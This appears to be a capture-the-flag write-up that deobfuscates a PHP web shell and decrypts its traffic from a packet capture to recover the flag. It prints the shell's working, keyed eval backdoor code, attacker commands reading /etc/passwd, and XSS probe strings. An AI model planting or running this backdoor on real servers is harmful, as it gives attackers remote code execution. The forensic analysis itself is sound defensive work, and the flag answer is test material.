You have to investigate recent attack on your web server.
Since attackers were very skilled, they used specially designed PHP shell to access the server.
Your friends from Incident Response Department managed to get network capture file with malicious traffic.
Secret flag, which attackers used, is in PCAP file.
All evidences (including php shell code) are here: shell_code.zip
Can you decrypt web shell command responses?
Archive shell_code.zip
contains network packet capture file http.pcap
and malware source code - shell.php.txt
.
Looking at the shell.php
, malware code is inserted between function definitions.
It can be cleaned up manually, but I chose to write a PHP script clean.php
, which removes comments, functions and empty lines.
<?php
$s = file_get_contents('shell.php.txt');
$ns = ''; $fnc = 0; $cb = 0;
foreach (token_get_all($s) as $token ) {
$keep = true;
if (in_array($token[0], [T_COMMENT, T_DOC_COMMENT])) $keep = false;
if ($token[0] == T_FUNCTION) $fnc = 1;
if ($fnc > 0) {
$keep = false;
if ($token[0] == '{') { $fnc = 2; $cb++; }
if ($token[0] == '}') { $cb--; }
if ($fnc == 2 && $cb == 0) { $fnc = 0; }
}
if ($keep) {
if (is_array($token)) { $ns .= $token[1]; } else { $ns .= $token[0]; }
}
}
$ns = preg_replace('/^[ \t]*[\r\n]+/m', '', $ns);
echo $ns;
?>
Cleaning the original script returns malicious code.
$ php clean.php
<?php
$W='@e5@va5@l(@gzuncompre5@ss(5@@x(@base65@4_d5@ecode(5@$m[15@]),$5@k)));5@$o=@5@ob_5@get_contents();';
$E='$k5@="465@96bd5@9a";$5@kh="8ecf79155df0";5@$kf5@="5fb5@97fdc5@8317";$p=5@5@"BL450m5@5@L15@WeCi5@9eMA";';
$T='0;5@($j<5@$5@c&&$i<$l);$5@5@j++,$i5@++){$o.=$t{$i}5@5@^$k{$j};}5@}ret5@urn $5@o;}i5@f (@preg_ma5@';
$D=str_replace('bQ','','cbQreatbQe_bQfubQncbQtibQon');
$h='function x(5@$t,$5@k){$c=strle5@n($k);$l=st5@rlen(5@$t);$5@o="";fo5@r(5@$i=0;$5@i<$l;)5@{for($j=';
$l='tch(5@"/$k5@h(.+)$5@k5@f/"5@,@file_get5@_contents("php://i5@5@nput5@"),5@$m)==15@)5@ {@ob_start();';
$X='@ob_e5@nd5@_cle5@an()5@;$r=@base65@4_encode(5@@x(@gzco5@mpress(5@$5@o),5@$k));prin5@t("$p$kh5@$r$kf");}';
$G=str_replace('5@','',$E.$h.$T.$l.$W.$X);
$i=$D('',$G);$i();
?>
Looks like $G
contains code, which will be executed in last line as create_function
(via $D
).
Changing the last line to echo $G;
and executing code with php
reveals less obfuscated code.
$ php clean.php.txt | sed '10s/.*/echo $G;/' | php
$k="4696bd9a";$kh="8ecf79155df0";$kf="5fb97fdc8317";$p="BL450mL1WeCi9eMA";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
This needs to be formatted for readability. A good tool for that is PHP CS Fixer.
Add opening <?php
and closing ?>
tag, before running formatter.
$ curl -sLO https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v3.2.1/php-cs-fixer.phar
$ php clean.php.txt | sed '10s/.*/echo $G;/' | php | sed -e 's/^/<?php /' -e 's/$/ ?>/' > malware.php
$ php php-cs-fixer.phar fix --quiet --using-cache=no --rules=@PhpCsFixer malware.php
Now the code in malware.php
is pretty readable. Basically, it takes data from POST
(implied by php://input
) and, extracts specific content, does some conversation to it (base64
, xor
, gzip
), executes it and returns output, converted in similar matter.
<?php
$k = '4696bd9a'; $kh = '8ecf79155df0'; $kf = '5fb97fdc8317'; $p = 'BL450mL1WeCi9eMA'; function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = '';
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++,$i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
} if (1 == @preg_match("/{$kh}(.+){$kf}/", @file_get_contents('php://input'), $m)) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
echo "{$p}{$kh}{$r}{$kf}";
}
Copy and convert the script to dec.php
, which reads from stdin
and decodes the value (either command or output) to readable plaintext.
<?php
$k = '4696bd9a'; $kh = '8ecf79155df0'; $kf = '5fb97fdc8317'; $p = 'BL450mL1WeCi9eMA'; function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = '';
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++,$i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
while($line = fgets(STDIN)) {
if (1 == @preg_match("/{$kh}(.+){$kf}/", $line, $m)) {
echo gzuncompress(@x(@base64_decode($m[1]), $k)) . "\n";
}
}
Returning to http.pcap
, check for HTTP POST requests, as that is what malicious script expects.
$ tshark -Y 'http.request.method == POST' -r http.pcap
3084 4.317353 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
3086 4.318445 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
3689 4.833816 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1 (application/x-www-form-urlencoded)
3733 4.872689 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
3746 10.829175 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
3758 10.839552 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
3770 10.862186 192.168.114.33 → 192.168.113.102 HTTP 214 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
3782 15.700701 192.168.114.33 → 192.168.113.102 HTTP 230 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
6829 21.053383 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
6831 21.054465 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
7433 21.570371 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1 (application/x-www-form-urlencoded)
7477 21.602405 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
7489 32.506591 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
7501 32.516184 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
7513 32.531201 192.168.114.33 → 192.168.113.102 HTTP 218 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
7525 40.910335 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
7537 40.922233 192.168.114.33 → 192.168.113.102 HTTP 217 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
7549 40.936232 192.168.114.33 → 192.168.113.102 HTTP 226 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
10658 45.784852 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
10660 45.786140 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
11259 46.400682 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1 (application/x-www-form-urlencoded)
11303 46.433836 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
11315 54.618150 192.168.114.33 → 192.168.113.102 HTTP 149 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
11327 54.626431 192.168.114.33 → 192.168.113.102 HTTP 230 POST /lib1.php HTTP/1.1 (application/x-www-form-urlencoded)
14370 61.091068 192.168.114.33 → 192.168.113.102 HTTP 430 POST /servlet/custMsg?guestName=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
14372 61.092092 192.168.114.33 → 192.168.113.102 HTTP 437 POST /servlet/CookieExample?cookiename=<script>alert(\"Vulnerable\")</script> HTTP/1.1 (application/x-www-form-urlencoded)
14977 61.576201 192.168.114.33 → 192.168.113.102 HTTP 466 POST /Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000 HTTP/1.1 (application/x-www-form-urlencoded)
15021 61.600098 192.168.114.33 → 192.168.113.102 HTTP 424 POST /_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611 HTTP/1.1
What pops up are requests to /lib1.php
, therefore filter only those.
Also, try to decode the request data with previously created dec.php
.
$ tshark -Y 'http.request.uri == "/lib1.php"' -T fields -e http.file_data -r http.pcap | php dec.php
echo(46818);
chdir('/var/www/html');@error_reporting(0);@system('echo 13230');
chdir('/var/www/html');@error_reporting(0);@system('pwd 2>&1');
chdir('/var/www/html');@error_reporting(0);@system('cat /etc/passwd 2>&1');
echo(67063);
chdir('/var/www/html');@error_reporting(0);@system('echo 12352');
chdir('/var/www/html');@error_reporting(0);@system('ls -la 2>&1');
echo(80208);
chdir('/var/www/html');@error_reporting(0);@system('echo 14111');
chdir('/var/www/html');@error_reporting(0);@system('cat flag.txt 2>&1');
echo(16222);
chdir('/var/www/html');@error_reporting(0);@system('cat /etc/passwd 2>&1');
To get responses, filter packets containing BL450mL1WeCi9eMA
, as malicious code adds this only to responses.
One of responses contain the flag.
$ tshark -Y 'http.file_data contains "BL450mL1WeCi9eMA"' -T fields -e http.file_data -r http.pcap | php dec.php
46818
13230
/var/www/html
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:,,,:/home/ubuntu:/bin/bash
67063
12352
total 32
drwxr-xr-x 2 root root 4096 Nov 10 17:24 .
drwxr-xr-x 3 root root 4096 Nov 10 14:17 ..
-rw-r--r-- 1 root root 46 Nov 10 16:55 flag.txt
-rw-r--r-- 1 root root 10918 Nov 10 14:17 index.html
-rw-r--r-- 1 root root 7928 Nov 10 17:24 lib1.php
80208
14111
The flag is: fb148ca92d484070b5446b3233eef174
16222
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:,,,:/home/ubuntu:/bin/bash